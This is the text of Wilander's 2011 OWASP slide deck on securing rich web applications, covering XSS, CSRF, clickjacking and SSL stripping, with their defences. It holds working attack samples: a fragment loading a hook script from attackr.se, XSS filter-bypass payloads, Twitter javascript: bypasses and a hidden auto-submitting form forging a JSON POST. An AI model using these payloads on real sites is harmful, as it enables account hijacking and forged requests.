SlideShare a Scribd company logo
1 of 115
Download to read offline
Application Security
                                    for RIAs
                               John Wilander,   & OWASP




Wednesday, November 2, 2011
Frontend developer at
                              Svenska Handelsbanken

                              Researcher in application security
                              Co-leader OWASP Sweden




                              @johnwilander
                              johnwilander.com (music)


                              OWASP == The Open Web
                              Application Security Project
                              Cheat sheets, tools, code, guidelines
                              https://owasp.org
Wednesday, November 2, 2011
ÅåÄäÖö



Wednesday, November 2, 2011
OWASP Top 10
                               Top web application
                                security risks 2010




Wednesday, November 2, 2011
1. Injection
                   2. Cross-Site Scripting (XSS)
                   3. Broken Authentication and Session
                       Management
                   4. Insecure Direct Object References
                   5. Cross-Site Request Forgery (CSRF)
                   6. Security Misconfiguration
                   7. Insecure Cryptographic Storage
                   8. Failure to Restrict URL Access
                   9. Insufficient Transport Layer Protection
                   10. Unvalidated Redirects and Forwards


Wednesday, November 2, 2011
”Do I have to care?”



Wednesday, November 2, 2011
Likelihood of ≥ 1 vulnerability on your site


      From: WhiteHat Website Security Statistic Report, Winter 2011
Wednesday, November 2, 2011
Per extension

                                               .asp .aspx .do .jsp .php

                       Sites having had ≥ 1
                                               74 % 73 % 77 % 80 % 80 %
                       serious vulnerability

                 Sites currently having ≥ 1
                                               57 % 58 % 56 % 59 % 63 %
                    serious vulnerability



       From: WhiteHat Website Security Statistic Report, Spring 2010
Wednesday, November 2, 2011
But we’re moving
                                towards more
                               code client-side


Wednesday, November 2, 2011
Client-Side, JavaScript
                           Vulnerabilities




             From: IBM X-Force 2011 Mid-Year Trend and Risk Report
Wednesday, November 2, 2011
Client-Side, JavaScript
                           Vulnerabilities




             From: IBM X-Force 2011 Mid-Year Trend and Risk Report
Wednesday, November 2, 2011
Focus Today

                   • Cross-Site Scripting (XSS)
                   • Cross-Site Request Forgery (CSRF)
                   • Clickjacking
                   • Man-In-the-Middle SSL



Wednesday, November 2, 2011
XSS ...
                              the hack that keeps on hacking




Wednesday, November 2, 2011
Cross-Site Scripting
                                      Theory



                                         Scripting




                                                          ite
                                                   ross-S
                                                 C



Wednesday, November 2, 2011
Cross-Site Scripting
                                         Type 1, reflected



                                                 Scripting

                                                Cross-Site
                                 Ph
                                    isin
                                         g




Wednesday, November 2, 2011
Cross-Site Scripting
                                    Type 2, stored




                                                          s-Si te
                                                     C ros




Wednesday, November 2, 2011
Cross-Site Scripting
                                    Type 2, stored



                                        Scripting




Wednesday, November 2, 2011
Cross-Site Scripting
                                                           Type 0, DOM-based

                                        ng
                                  i pti
                               Scr
                                             Cros
                                                 s-Sit
                                                       e




                                             Ph
                                                isin
                                                     g




Wednesday, November 2, 2011
Cross-Site Scripting
                                                           Type 0, DOM-based

                                        ng
                                  i pti
                               Scr
                                             Cros
                                       No server roundtrip!
                                                 s-Sit
                                                       e


                                       Also, single-page interfaces
                                       make injected scripts ”stick”
                                         Ph
                                            isi
                                       in thenDOM.
                                                g




Wednesday, November 2, 2011
https://secure.bank.com/
         authentication#language=sv&country=SE




Wednesday, November 2, 2011
https://secure.bank.com/
         authentication#language=sv&country=SE
                               Never sent to server

                              Be careful when you use
                               this data on your page

Wednesday, November 2, 2011
Would you click this?

    https://secure.bank.com/authentication
  #language=<script src="http://attackr.se:
      3000/hook.js"></script>&country=SE




Wednesday, November 2, 2011
Would you click this?

    https://secure.bank.com/authentication
  #language=%3Cscript%20src%3D%22http%3A%2F
   %2Fattackr.se%3A3000%2Fhook.js%22%3E%3C
           %2Fscript%3E&country=SE




Wednesday, November 2, 2011
Would you click this?


                              http://bit.ly/Yg4T32




Wednesday, November 2, 2011
Filter out <script>?
     var ... ,
      stripScriptsRe = /(?:<script.*?>)((n|r|.)*?)(?:</script>)/ig,


     /**
      * Strips all script tags
      * @param {Object} value The text from which to strip script tags
      * @return {String} The stripped text
      */
     stripScripts : function(v) {
        return !v ? v : String(v).replace(stripScriptsRe, "");
     },


                     http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts



Wednesday, November 2, 2011
Filter out <script>?
   <img src=1 onerror=alert(1)>

   <svg onload="javascript:alert(1)"
   xmlns="http://www.w3.org/2000/svg"></svg>

   <body onload=alert('XSS')>

   <table background="javascript:alert('XSS')">

   ¼script¾alert(¢XSS¢)¼/script¾

   <video poster=javascript:alert(1)//

Wednesday, November 2, 2011
”C’mon, such attacks
                         don’t really work,
                            do they?”

                              Yep, demo.

Wednesday, November 2, 2011
DOM-Based XSS
                               Twitter September 2010



             Full story at
             http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html


Wednesday, November 2, 2011
(function(g){
        var a = location.href.split("#!")[1];
        if(a) {
          g.location = a;
        }
       })(window);




Wednesday, November 2, 2011
(function(g){
                   What does this code do?
        var a = location.href.split("#!")[1];
        if(a) {
          g.location = a;
        }
       })(window);




Wednesday, November 2, 2011
”https://twitter.com/#!/
                         johnwilander”.split(”#!”)[1]
                         returns
                         ”/johnwilander”

       (function(g){
        var a = location.href.split("#!")[1];
        if(a) {
          g.location = a;
        }
       })(window);




Wednesday, November 2, 2011
”https://twitter.com/#!/
                         johnwilander”.split(”#!”)[1]
                         returns
                         ”/johnwilander”

       (function(g){
             window.location =
        var a = location.href.split("#!")[1];
                      ”/johnwilander”
        if(a) { ’/’ => keeps the domain but
             initial
          g.location = a;
             changes the path
        }
       })(window);




Wednesday, November 2, 2011
”https://twitter.com/#!/
                         johnwilander”.split(”#!”)[1]
                         returns
                         ”/johnwilander”

       (function(g){
             window.location =
        var a = location.href.split("#!")[1];
                      ”/johnwilander”
        if(a) { ’/’ => keeps the domain but
             initial
          g.location = a;
             changes the path
        }
             So
       })(window);
                         twitter.com/#!/johnwilander
                         becomes
                         twitter.com/johnwilander

                                      Read more: http://kotowicz.net/absolute/
Wednesday, November 2, 2011
http://twitter.com/
           #!javascript:alert(document.domain);




Wednesday, November 2, 2011
http://twitter.com/
           #!javascript:alert(document.domain);

                              Never sent to server
                              => DOM-based XSS




Wednesday, November 2, 2011
The Patch™
       var c = location.href.split("#!")[1];
       if (c) {
         window.location = c.replace(":", "");
       } else {
         return true;
       }




Wednesday, November 2, 2011
The Patch™
       var c = location.href.split("#!")[1];
       if (c) {
         window.location = c.replace(":", "");
       } else {
         return true;
       }
                                Replaces the first occurance
                                    of the search string


Wednesday, November 2, 2011
http://twitter.com/
         #!javascript::alert(document.domain);




Wednesday, November 2, 2011
http://twitter.com/
         #!javascript::alert(document.domain);




Wednesday, November 2, 2011
The 2nd Patch™
       (function(g){
        var a = location.href.split("#!")[1];
        if(a) {
          g.location = a.replace(/:/gi,"");
        }
       })(window);




Wednesday, November 2, 2011
(function(g){
        var a = location.href.split("#!")[1];
        if(a) {
          g.location = a.replace(/:/gi,"");
        }
       })(window);    Regexp pattern
                        delimiters




Wednesday, November 2, 2011
(function(g){
        var a = location.href.split("#!")[1];
        if(a) {
          g.location = a.replace(/:/gi,"");
        }
       })(window);    Regexp pattern
                        delimiters

                              Global match


Wednesday, November 2, 2011
(function(g){
        var a = location.href.split("#!")[1];
        if(a) {
          g.location = a.replace(/:/gi,"");
        }
       })(window);    Regexp pattern
                        delimiters

                              Global match Ignore case


Wednesday, November 2, 2011
Were they done now?



Wednesday, November 2, 2011
http://twitter.com
                              #!javascript&x58;alert(1)




Wednesday, November 2, 2011
http://twitter.com
                              #!javascript&x58;alert(1)


                                   HTML entity version of ’:’




Wednesday, November 2, 2011
The n:th Patch™
                                                (this one works)

       (function(g){
        var a = location.href.split("#!")[1];
        if(a) {
          g.location.pathname = a;
        }
       })(window);




                       And hey, Twitter is doing the right thing: https://twitter.com/about/security
Wednesday, November 2, 2011
Fix these issues properly with ...
                         Client-Side Encoding



Wednesday, November 2, 2011
https://github.com/chrisisbeef/jquery-encoder
    • $.encoder.canonicalize()
          Throws Error for double encoding or multiple encoding
          types, otherwise transforms %3CB%3E to <b>
      • $.encoder.encodeForCSS()
          Encodes for safe usage in style attribute and style()
      • $.encoder.encodeForHTML()
          Encodes for safe usage in innerHTML and html()
      • $.encoder.encodeForHTMLAttribute()
          Encodes for safe usage in HTML attributes
      • $.encoder.encodeForJavaScript()
          Encodes for safe usage in event handlers etc
      • $.encoder.encodeForURL()
          Encodes for safe usage in href etc
Wednesday, November 2, 2011
https://github.com/chrisisbeef/jquery-encoder
    • $.encoder.canonicalize()
          Throws Error for double encoding or multiple encoding
          types, otherwise transforms %3CB%3E to <b>
      • $.encoder.encodeForCSS()
          Encodes for safe usage in style attribute and style()
      • $.encoder.encodeForHTML()
          Encodes for safe usage in innerHTML and html()
      • $.encoder.encodeForHTMLAttribute()
          Encodes for safe usage in HTML attributes
      • $.encoder.encodeForJavaScript()
          Encodes for safe usage in event handlers etc
      • $.encoder.encodeForURL()
          Encodes for safe usage in href etc
Wednesday, November 2, 2011
Let’s do a short demo
                             of that


Wednesday, November 2, 2011
Also, check out ...

                 Content Security Policy
                   http://people.mozilla.com/~bsterne/
                        content-security-policy/




Wednesday, November 2, 2011
New HTTP Response
                        Header Saying ...

   Only allow scripts from whitelisted domains
   and
   only allow scripts from files, i.e. no inline scripts




Wednesday, November 2, 2011
'self' = same URL, protocol and port


 X-Content-Security-Policy: default-src 'self'
 Accept all content including scripts only from my own URL+port

 X-Content-Security-Policy: default-src *;
 script-src trustedscripts.foo.com
 Accept media only from my URL+port (images, stylesheets,
 fonts, ...) and scripts only from trustedscripts.foo.com




Wednesday, November 2, 2011
CSRF
                              my current favorite!




Wednesday, November 2, 2011
Cross-Site Request
                                   Forgery
                                        Request For
                                                   gery



                               Cro
                                  ss-S
                                       ite




Wednesday, November 2, 2011
Cross-Site Request
                                   Forgery
                                            Request Forgery

                                           Cros
                                               s-Site
                               Ph
                                  isin
                                       g




Wednesday, November 2, 2011
Is www.attackr.se allowed to
                                    load images like this:

               <img src=”https://secure.bank.com/
                          logo.png" />


                                           ?


Wednesday, November 2, 2011
Is www.attackr.se allowed to
                                    load images like this:

     <img src=”https://secure.bank.com/
  authentication#language=sv&country=SE" />


                                           ?


Wednesday, November 2, 2011
With image tags www.attackr.se can silently
       send HTTP GET requests to any domain

         <img src=”https://secure.bank.com/
       authentication#language=sv&country=SE"
                height=0 width=0 />




Wednesday, November 2, 2011
”Will restricting to
                   HTTP POST save me?”


Wednesday, November 2, 2011
What’s on your mind?          What’s on your mind?
                                    POST                          POST




Wednesday, November 2, 2011
What’s on your mind?          What’s on your mind?
             I love OWASP!          POST                          POST




Wednesday, November 2, 2011
What’s on your mind?          What’s on your mind?
             I love OWASP!          POST                          POST

              John: I love OWASP!




Wednesday, November 2, 2011
What’s on your mind?          What’s on your mind?
                                    POST                          POST




Wednesday, November 2, 2011
What’s on your mind?          What’s on your mind?
                                    POST   I hate OWASP!          POST




Wednesday, November 2, 2011
What’s on your mind?          What’s on your mind?
                                    POST   I hate OWASP!          POST




Wednesday, November 2, 2011
What’s on your mind?          What’s on your mind?
                                    POST   I hate OWASP!          POST

              John: I hate OWASP!




Wednesday, November 2, 2011
What’s on your mind?             What’s on your mind?
                                    POST   <form id="target" method="POST"
                                            action="https://1-liner.org/form">
              John: I hate OWASP!            <input type="text" value="I hate
                                              OWASP!" name="oneLiner"/>
                                             <input type="submit"
                                              value="POST"/>
                                           </form>

                                           <script type="text/javascript">
                                             $(document).ready(function() {
                                                 $('#form').submit();
                                             });
                                           </script>




Wednesday, November 2, 2011
<form id="target" method="POST"
                        action="https://1-liner.org/form">
                         <input type="text" value="I hate
                           OWASP!" name="oneLiner"/>
                         <input type="submit"
             What’s on your mind?         What’s on your mind?
                           value="POST"/>
                                  POST
                      </form>
              John: I hate OWASP!

                              <script>
                                $(document).ready(function() {
                                    $('#target').submit();
                                });
                              </script>




Wednesday, November 2, 2011
There used to be a
                       protection in web 1.5


Wednesday, November 2, 2011
Forced Browsing
                                     wizard-style



              Shipment info ✉                       Payment info $




                                  Next                               Buy!




Wednesday, November 2, 2011
Forced Browsing
                                     wizard-style



              Shipment info ✉                       Payment info $




                                         Token

                                  Next                               Buy!




Wednesday, November 2, 2011
Forced Browsing
                                    wizard-style




                          Token 1   Token 2        Token 3




Wednesday, November 2, 2011
Forced Browsing
                                    wizard-style




                          Token 1    Token 2          Token 3




               State built up i steps, server roundtrip in-between



Wednesday, November 2, 2011
Forced Browsing
                                    wizard-style




                          Token 1   Token 2            Token 3


                                                                  ge
                                                              for
                                                         n’t to
                                                     uld est
                                                   Co qu
                                                     re t step
                                                        las out a
                                                         w tith oken
                                                          va  lid
Wednesday, November 2, 2011
But in RIAs ...



Wednesday, November 2, 2011
RIA & client-side state

                              {
                              ”purchase”: {}
                              }




Wednesday, November 2, 2011
RIA & client-side state

                              {
                              ”purchase”: {
                                ”items”: [{}]
                                }
                              }




Wednesday, November 2, 2011
RIA & client-side state

                              {
                              ”purchase”: {
                                ”items”: [{},{}]
                                }
                              }




Wednesday, November 2, 2011
RIA & client-side state

                              {
                              ”purchase”: {
                                ”items”: [{},{}],
                                ”shipment”: {}
                                }
                              }




Wednesday, November 2, 2011
RIA & client-side state

                              {
                              ”purchase”: {
                                ”items”: [{},{}],
                                ”shipment”: {},
                                ”payment”: {}
                                }
                              }




Wednesday, November 2, 2011
RIA & client-side state

                              {
                              ”purchase”: {
                                ”items”: [{},{}],
                                ”shipment”: {},
                                ”payment”: {}
                                }
                              }




Wednesday, November 2, 2011
Can an attacker forge
                  such a JSON structure?


Wednesday, November 2, 2011
CSRF possible?
                                  {
                                  ”purchase”: {
                                    ”items”: [{},{}],
                                    ”shipment”: {},
                                    ”payment”: {}
                                    }
                                  }




Wednesday, November 2, 2011
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners">



   <input type="text"
    name=””
    value="" />



   <input type="submit" value="Go" />

</form>
Wednesday, November 2, 2011
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden">


   <input type="text"
    name=””
    value="" />



   <input type="submit" value="Go" />

</form>
Wednesday, November 2, 2011
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

   <input type="text"
    name=””
    value="" />



   <input type="submit" value="Go" />

</form>
Wednesday, November 2, 2011
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
          8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">
                Forms produce a request body that
 <input type="text" like this:
                looks
  name=””
  value="" /> theName=theValue

                              ... and that’s not valid JSON.

   <input type="submit" value="Go" />

</form>
Wednesday, November 2, 2011
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

   <input type="text"
    name='{"id": 0, "nickName": "John",
           "oneLiner": "I hate OWASP!",
           "timestamp": "20111006"}//'
    value="dummy" />

   <input type="submit" value="Go" />

</form>
Wednesday, November 2, 2011
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
                Produces a request body that looks
 enctype="text/plain">
                like this:
   <input type="text"
                  {"id": 0, "nickName":
    name='{"id": 0, "nickName": "John",
                  "John","oneLiner": "I
           "oneLiner": "I hate OWASP!",
                  hate OWASP!","timestamp":
           "timestamp": "20111006"}//'
                  "20111006"}//=dummy
    value="dummy" />
                  ... and that is acceptable JSON!
   <input type="submit" value="Go" />

</form>
Wednesday, November 2, 2011
Demo POST CSRF
                         against REST service


Wednesday, November 2, 2011
Demo XSS + CSRF with

                              The Browser Exploitation Framework
                                    http://beefproject.com/




Wednesday, November 2, 2011
Important in your
                                 REST API
                   •      Restrict HTTP method, e.g. POST
                          Easier to do CSRF with GET

                   •      Restrict to AJAX if applicable
                          X-Requested-With:XMLHttpRequest
                          Cross-domain AJAX prohibited by default

                   •      Restrict media type(s), e.g. application/json
                          HTML forms only allow URL encoded, multi-part
                          and text/plain



Wednesday, November 2, 2011
Attacker may spoof
                  headers via Flash proxy

                              http://lists.webappsec.org/pipermail/
                              websecurity_lists.webappsec.org/2011-
                              February/007533.html




Wednesday, November 2, 2011
Double Submit



Wednesday, November 2, 2011
Double Submit
                               (CSRF protection)

                                  Anti-CSRF value
                                  as cookie ...

                                  ... and
                                  request parameter




Wednesday, November 2, 2011
Double Submit
                               (CSRF protection)




                                                   cookie ≠
                                                   request parameter


                                Cannot read the
                                anti-CSRF cookie to
                                include it as parameter
Wednesday, November 2, 2011
Double Submit
                               (CSRF protection)




             Anti-CSRF cookie can
             be generated client-side
             => no server-side state



Wednesday, November 2, 2011
How To Get It Right
                   •      Join your local OWASP chapter
                          https://www.owasp.org/index.php/OWASP_Chapter


                   •      Start following these fellas on Twitter:
                          @WisecWisec @0x6D6172696F @garethheyes
                          @internot_ @securityninja @jeremiahg
                          @kkotowicz @webtonull @manicode @_mwc

                   •      Start hacking – it’s fun!
                          Best place to start? Your own apps of course.
                          Just stay legal ;)

Wednesday, November 2, 2011
@johnwilander
                                   john.wilander@owasp.org
                              http://appsandsecurity.blogspot.com




Wednesday, November 2, 2011
Clickjacking and MItM
                         if there’s time


Wednesday, November 2, 2011
Clickjacking Demo



Wednesday, November 2, 2011
X-Frame-Options
                   http://blogs.msdn.com/b/ie/archive/
                    2009/01/27/ie8-security-part-vii-
                       clickjacking-defenses.aspx
                    http://tools.ietf.org/html/draft-
                        gondrom-frame-options-01




Wednesday, November 2, 2011
No page can load me in an iframe
                    or
                    only my own domain can load me in an iframe




Wednesday, November 2, 2011
X-Frame-Options: DENY

               X-Frame-Options: SAMEORIGIN

               (Coming:
               X-Frame-Options: ALLOW-FROM [list])




Wednesday, November 2, 2011
MItM Demo



Wednesday, November 2, 2011
Moxie’s SSL Strip
                                  http                https




                               Terminates SSL   Normal https
                                                to the server
                               Changes https
                               to http          Acts as client



Wednesday, November 2, 2011
Moxie’s SSL Strip
                                 http     https




    Secure cookie?
    Encoding, gzip?
    Cached content?
    Ongoing sessions?


Wednesday, November 2, 2011
Moxie’s SSL Strip
                                 http                  https




    Secure cookie?               Strip secure attribute off all cookies
    Encoding, gzip?              Strip off all request encodings
    Cached content?              Strip off all if-modified-since in request
    Ongoing sessions?            302 back to same page, set-cookie expired


Wednesday, November 2, 2011
SSL Strip & Tor
                                                               login.yahoo.com    114
                                                                         Gmail    50
                                Tor node
                                                                        Hotmail   13
                                                                         PayPal   9




                Tor node
                                                                          In 24 h

                                Tor exit node with SSL Strip

e Wednesday, November 2, 2011
HTTP Strict Transport
                          Security
                    http://tools.ietf.org/html/draft-
                   ietf-websec-strict-transport-sec-02




Wednesday, November 2, 2011
Require SSL without warnings for X seconds ahead
          and
          potentially do the same for my subdomains too




Wednesday, November 2, 2011
Strict-Transport-Security: max-age=86400

 Strict-Transport-Security: max-age=86400;
 includeSubdomains




Wednesday, November 2, 2011
W3C Web Application Security Working Group
                     http://www.w3.org/2011/webappsec/




Wednesday, November 2, 2011

More Related Content

More from Sencha

Sencha Roadshow 2017: Build Progressive Web Apps with Ext JS and Cmd
Sencha Roadshow 2017: Build Progressive Web Apps with Ext JS and Cmd Sencha Roadshow 2017: Build Progressive Web Apps with Ext JS and Cmd
Sencha Roadshow 2017: Build Progressive Web Apps with Ext JS and Cmd Sencha
 
Sencha Roadshow 2017: Best Practices for Implementing Continuous Web App Testing
Sencha Roadshow 2017: Best Practices for Implementing Continuous Web App TestingSencha Roadshow 2017: Best Practices for Implementing Continuous Web App Testing
Sencha Roadshow 2017: Best Practices for Implementing Continuous Web App TestingSencha
 
Sencha Roadshow 2017: What's New in Sencha Test
Sencha Roadshow 2017: What's New in Sencha TestSencha Roadshow 2017: What's New in Sencha Test
Sencha Roadshow 2017: What's New in Sencha TestSencha
 
Sencha Roadshow 2017: Sencha Upgrades - The Good. The Bad. The Ugly - Eva Luc...
Sencha Roadshow 2017: Sencha Upgrades - The Good. The Bad. The Ugly - Eva Luc...Sencha Roadshow 2017: Sencha Upgrades - The Good. The Bad. The Ugly - Eva Luc...
Sencha Roadshow 2017: Sencha Upgrades - The Good. The Bad. The Ugly - Eva Luc...Sencha
 
Sencha Roadshow 2017: Modernizing the Ext JS Class System and Tooling
Sencha Roadshow 2017: Modernizing the Ext JS Class System and ToolingSencha Roadshow 2017: Modernizing the Ext JS Class System and Tooling
Sencha Roadshow 2017: Modernizing the Ext JS Class System and ToolingSencha
 
Sencha Roadshow 2017: Sencha Best Practices: Coworkee App
Sencha Roadshow 2017: Sencha Best Practices: Coworkee App Sencha Roadshow 2017: Sencha Best Practices: Coworkee App
Sencha Roadshow 2017: Sencha Best Practices: Coworkee App Sencha
 
Sencha Roadshow 2017: Mobile First or Desktop First
Sencha Roadshow 2017: Mobile First or Desktop FirstSencha Roadshow 2017: Mobile First or Desktop First
Sencha Roadshow 2017: Mobile First or Desktop FirstSencha
 
Sencha Roadshow 2017: Innovations in Ext JS 6.5 and Beyond
Sencha Roadshow 2017: Innovations in Ext JS 6.5 and BeyondSencha Roadshow 2017: Innovations in Ext JS 6.5 and Beyond
Sencha Roadshow 2017: Innovations in Ext JS 6.5 and BeyondSencha
 
Leveraging React and GraphQL to Create a Performant, Scalable Data Grid
Leveraging React and GraphQL to Create a Performant, Scalable Data GridLeveraging React and GraphQL to Create a Performant, Scalable Data Grid
Leveraging React and GraphQL to Create a Performant, Scalable Data GridSencha
 
Learn Key Insights from The State of Web Application Testing Research Report
Learn Key Insights from The State of Web Application Testing Research ReportLearn Key Insights from The State of Web Application Testing Research Report
Learn Key Insights from The State of Web Application Testing Research ReportSencha
 
Introducing ExtReact: Adding Powerful Sencha Components to React Apps
Introducing ExtReact: Adding Powerful Sencha Components to React AppsIntroducing ExtReact: Adding Powerful Sencha Components to React Apps
Introducing ExtReact: Adding Powerful Sencha Components to React AppsSencha
 
SenchaCon 2016: Keynote Presentation - Art Landro, Gautam Agrawal, Mark Brocato
SenchaCon 2016: Keynote Presentation - Art Landro, Gautam Agrawal, Mark BrocatoSenchaCon 2016: Keynote Presentation - Art Landro, Gautam Agrawal, Mark Brocato
SenchaCon 2016: Keynote Presentation - Art Landro, Gautam Agrawal, Mark BrocatoSencha
 
SenchaCon 2016: Add Magic to Your Ext JS Apps with D3 Visualizations - Vitaly...
SenchaCon 2016: Add Magic to Your Ext JS Apps with D3 Visualizations - Vitaly...SenchaCon 2016: Add Magic to Your Ext JS Apps with D3 Visualizations - Vitaly...
SenchaCon 2016: Add Magic to Your Ext JS Apps with D3 Visualizations - Vitaly...Sencha
 
SenchaCon 2016: LinkRest - Modern RESTful API Framework for Ext JS Apps - Rou...
SenchaCon 2016: LinkRest - Modern RESTful API Framework for Ext JS Apps - Rou...SenchaCon 2016: LinkRest - Modern RESTful API Framework for Ext JS Apps - Rou...
SenchaCon 2016: LinkRest - Modern RESTful API Framework for Ext JS Apps - Rou...Sencha
 
SenchaCon 2016: Expect the Unexpected - Dealing with Errors in Web Apps
SenchaCon 2016: Expect the Unexpected - Dealing with Errors in Web AppsSenchaCon 2016: Expect the Unexpected - Dealing with Errors in Web Apps
SenchaCon 2016: Expect the Unexpected - Dealing with Errors in Web AppsSencha
 
Ext JS Architecture Best Practices - Mitchell Simeons
Ext JS Architecture Best Practices - Mitchell SimeonsExt JS Architecture Best Practices - Mitchell Simeons
Ext JS Architecture Best Practices - Mitchell SimeonsSencha
 
SenchaCon 2016: Mobile First? Desktop First? Or Should you Think Universal Ap...
SenchaCon 2016: Mobile First? Desktop First? Or Should you Think Universal Ap...SenchaCon 2016: Mobile First? Desktop First? Or Should you Think Universal Ap...
SenchaCon 2016: Mobile First? Desktop First? Or Should you Think Universal Ap...Sencha
 
Building Ext JS Using HATEOAS - Jeff Stano
Building Ext JS Using HATEOAS - Jeff StanoBuilding Ext JS Using HATEOAS - Jeff Stano
Building Ext JS Using HATEOAS - Jeff StanoSencha
 
SenchaCon 2016: Improve Workflow Driven Applications with Ext JS Draw Package...
SenchaCon 2016: Improve Workflow Driven Applications with Ext JS Draw Package...SenchaCon 2016: Improve Workflow Driven Applications with Ext JS Draw Package...
SenchaCon 2016: Improve Workflow Driven Applications with Ext JS Draw Package...Sencha
 
SenchaCon 2016: Developing and Delivering Quality Code, Frequently - Neil Manvar
SenchaCon 2016: Developing and Delivering Quality Code, Frequently - Neil ManvarSenchaCon 2016: Developing and Delivering Quality Code, Frequently - Neil Manvar
SenchaCon 2016: Developing and Delivering Quality Code, Frequently - Neil ManvarSencha
 

More from Sencha (20)

Sencha Roadshow 2017: Build Progressive Web Apps with Ext JS and Cmd
Sencha Roadshow 2017: Build Progressive Web Apps with Ext JS and Cmd Sencha Roadshow 2017: Build Progressive Web Apps with Ext JS and Cmd
Sencha Roadshow 2017: Build Progressive Web Apps with Ext JS and Cmd
 
Sencha Roadshow 2017: Best Practices for Implementing Continuous Web App Testing
Sencha Roadshow 2017: Best Practices for Implementing Continuous Web App TestingSencha Roadshow 2017: Best Practices for Implementing Continuous Web App Testing
Sencha Roadshow 2017: Best Practices for Implementing Continuous Web App Testing
 
Sencha Roadshow 2017: What's New in Sencha Test
Sencha Roadshow 2017: What's New in Sencha TestSencha Roadshow 2017: What's New in Sencha Test
Sencha Roadshow 2017: What's New in Sencha Test
 
Sencha Roadshow 2017: Sencha Upgrades - The Good. The Bad. The Ugly - Eva Luc...
Sencha Roadshow 2017: Sencha Upgrades - The Good. The Bad. The Ugly - Eva Luc...Sencha Roadshow 2017: Sencha Upgrades - The Good. The Bad. The Ugly - Eva Luc...
Sencha Roadshow 2017: Sencha Upgrades - The Good. The Bad. The Ugly - Eva Luc...
 
Sencha Roadshow 2017: Modernizing the Ext JS Class System and Tooling
Sencha Roadshow 2017: Modernizing the Ext JS Class System and ToolingSencha Roadshow 2017: Modernizing the Ext JS Class System and Tooling
Sencha Roadshow 2017: Modernizing the Ext JS Class System and Tooling
 
Sencha Roadshow 2017: Sencha Best Practices: Coworkee App
Sencha Roadshow 2017: Sencha Best Practices: Coworkee App Sencha Roadshow 2017: Sencha Best Practices: Coworkee App
Sencha Roadshow 2017: Sencha Best Practices: Coworkee App
 
Sencha Roadshow 2017: Mobile First or Desktop First
Sencha Roadshow 2017: Mobile First or Desktop FirstSencha Roadshow 2017: Mobile First or Desktop First
Sencha Roadshow 2017: Mobile First or Desktop First
 
Sencha Roadshow 2017: Innovations in Ext JS 6.5 and Beyond
Sencha Roadshow 2017: Innovations in Ext JS 6.5 and BeyondSencha Roadshow 2017: Innovations in Ext JS 6.5 and Beyond
Sencha Roadshow 2017: Innovations in Ext JS 6.5 and Beyond
 
Leveraging React and GraphQL to Create a Performant, Scalable Data Grid
Leveraging React and GraphQL to Create a Performant, Scalable Data GridLeveraging React and GraphQL to Create a Performant, Scalable Data Grid
Leveraging React and GraphQL to Create a Performant, Scalable Data Grid
 
Learn Key Insights from The State of Web Application Testing Research Report
Learn Key Insights from The State of Web Application Testing Research ReportLearn Key Insights from The State of Web Application Testing Research Report
Learn Key Insights from The State of Web Application Testing Research Report
 
Introducing ExtReact: Adding Powerful Sencha Components to React Apps
Introducing ExtReact: Adding Powerful Sencha Components to React AppsIntroducing ExtReact: Adding Powerful Sencha Components to React Apps
Introducing ExtReact: Adding Powerful Sencha Components to React Apps
 
SenchaCon 2016: Keynote Presentation - Art Landro, Gautam Agrawal, Mark Brocato
SenchaCon 2016: Keynote Presentation - Art Landro, Gautam Agrawal, Mark BrocatoSenchaCon 2016: Keynote Presentation - Art Landro, Gautam Agrawal, Mark Brocato
SenchaCon 2016: Keynote Presentation - Art Landro, Gautam Agrawal, Mark Brocato
 
SenchaCon 2016: Add Magic to Your Ext JS Apps with D3 Visualizations - Vitaly...
SenchaCon 2016: Add Magic to Your Ext JS Apps with D3 Visualizations - Vitaly...SenchaCon 2016: Add Magic to Your Ext JS Apps with D3 Visualizations - Vitaly...
SenchaCon 2016: Add Magic to Your Ext JS Apps with D3 Visualizations - Vitaly...
 
SenchaCon 2016: LinkRest - Modern RESTful API Framework for Ext JS Apps - Rou...
SenchaCon 2016: LinkRest - Modern RESTful API Framework for Ext JS Apps - Rou...SenchaCon 2016: LinkRest - Modern RESTful API Framework for Ext JS Apps - Rou...
SenchaCon 2016: LinkRest - Modern RESTful API Framework for Ext JS Apps - Rou...
 
SenchaCon 2016: Expect the Unexpected - Dealing with Errors in Web Apps
SenchaCon 2016: Expect the Unexpected - Dealing with Errors in Web AppsSenchaCon 2016: Expect the Unexpected - Dealing with Errors in Web Apps
SenchaCon 2016: Expect the Unexpected - Dealing with Errors in Web Apps
 
Ext JS Architecture Best Practices - Mitchell Simeons
Ext JS Architecture Best Practices - Mitchell SimeonsExt JS Architecture Best Practices - Mitchell Simeons
Ext JS Architecture Best Practices - Mitchell Simeons
 
SenchaCon 2016: Mobile First? Desktop First? Or Should you Think Universal Ap...
SenchaCon 2016: Mobile First? Desktop First? Or Should you Think Universal Ap...SenchaCon 2016: Mobile First? Desktop First? Or Should you Think Universal Ap...
SenchaCon 2016: Mobile First? Desktop First? Or Should you Think Universal Ap...
 
Building Ext JS Using HATEOAS - Jeff Stano
Building Ext JS Using HATEOAS - Jeff StanoBuilding Ext JS Using HATEOAS - Jeff Stano
Building Ext JS Using HATEOAS - Jeff Stano
 
SenchaCon 2016: Improve Workflow Driven Applications with Ext JS Draw Package...
SenchaCon 2016: Improve Workflow Driven Applications with Ext JS Draw Package...SenchaCon 2016: Improve Workflow Driven Applications with Ext JS Draw Package...
SenchaCon 2016: Improve Workflow Driven Applications with Ext JS Draw Package...
 
SenchaCon 2016: Developing and Delivering Quality Code, Frequently - Neil Manvar
SenchaCon 2016: Developing and Delivering Quality Code, Frequently - Neil ManvarSenchaCon 2016: Developing and Delivering Quality Code, Frequently - Neil Manvar
SenchaCon 2016: Developing and Delivering Quality Code, Frequently - Neil Manvar
 

